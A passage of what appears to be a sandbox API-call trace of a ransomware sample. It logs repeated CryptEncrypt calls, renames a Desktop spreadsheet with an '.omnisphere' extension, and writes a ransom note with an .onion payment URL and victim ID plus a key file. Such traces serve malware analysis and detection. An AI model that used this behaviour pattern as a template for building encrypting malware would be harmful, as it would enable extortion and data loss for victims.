pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.847] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.848] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.849] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.850] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.851] CryptDestroyKey (hKey=0x16395e8) returned 1 [0163.851] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0163.852] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x5a9f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.852] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.852] GetProcessHeap () returned 0x1600000 [0163.852] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x266) returned 0x1774698 [0163.852] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\inqaoo.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\inqaoo.xlsx.omnisphere")) returned 1 [0163.854] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx.omnisphere.id" [0163.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\inqaoo.xlsx.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.856] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.858] CloseHandle (hObject=0x3bc) returned 1 [0163.862] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.862] CloseHandle (hObject=0x380) returned 1 [0163.862] SetEndOfFile (hFile=0x39c) returned 1 [0163.866] FlushFileBuffers (hFile=0x39c) returned 1 [0163.870] CloseHandle (hObject=0x39c) returned 1 [0163.870] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\INqaOO.xlsx" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.870] GetProcessHeap () returned 0x1600000 [0163.870] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1774908 [0163.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.870] GetProcessHeap () returned 0x1600000 [0163.870] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17335e0 [0163.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17335e0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.870] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.870] GetProcessHeap () returned 0x1600000 [0163.870] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f280 [0163.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f280, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.870] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.871] GetProcessHeap () returned 0x1600000 [0163.871] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773448 [0163.871] PathCombineW (in: pszDest=0x1773448, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.871] GetProcessHeap () returned 0x1600000 [0163.871] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1771500 [0163.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.871] WriteFile (in: hFile=0x39c, lpBuffer=0x1771500*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1771500*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.871] CloseHandle (hObject=0x39c) returned 1 [0163.873] GetProcessHeap () returned 0x1600000 [0163.873] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1774908 | out: hHeap=0x1600000) returned 1 [0163.873] GetProcessHeap () returned 0x1600000 [0163.873] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a570 [0163.873] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.873] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.874] CloseHandle (hObject=0x39c) returned 1 [0163.874] GetProcessHeap () returned 0x1600000 [0163.874] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0163.874] GetProcessHeap () returned 0x1600000 [0163.874] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d838 | out: hHeap=0x1600000) returned 1 [0163.874] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x584042b0, ftCreationTime.dwHighDateTime=0x1d4d339, ftLastAccessTime.dwLowDateTime=0x68e756b0, ftLastAccessTime.dwHighDateTime=0x1d4cc92, ftLastWriteTime.dwLowDateTime=0x68e756b0, ftLastWriteTime.dwHighDateTime=0x1d4cc92, nFileSizeHigh=0x0, nFileSizeLow=0x15f6a, dwReserved0=0x0, dwReserved1=0xf5, cFileName="K8oacaU9AHJhRKiXfHlw.jpg", cAlternateFileName="K8OACA~1.JPG")) returned 1 [0163.874] GetProcessHeap () returned 0x1600000 [0163.874] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x1773808 [0163.874] PathCombineW (in: pszDest=0x1773808, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="K8oacaU9AHJhRKiXfHlw.jpg" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg" [0163.875] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0163.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg" (normalized: 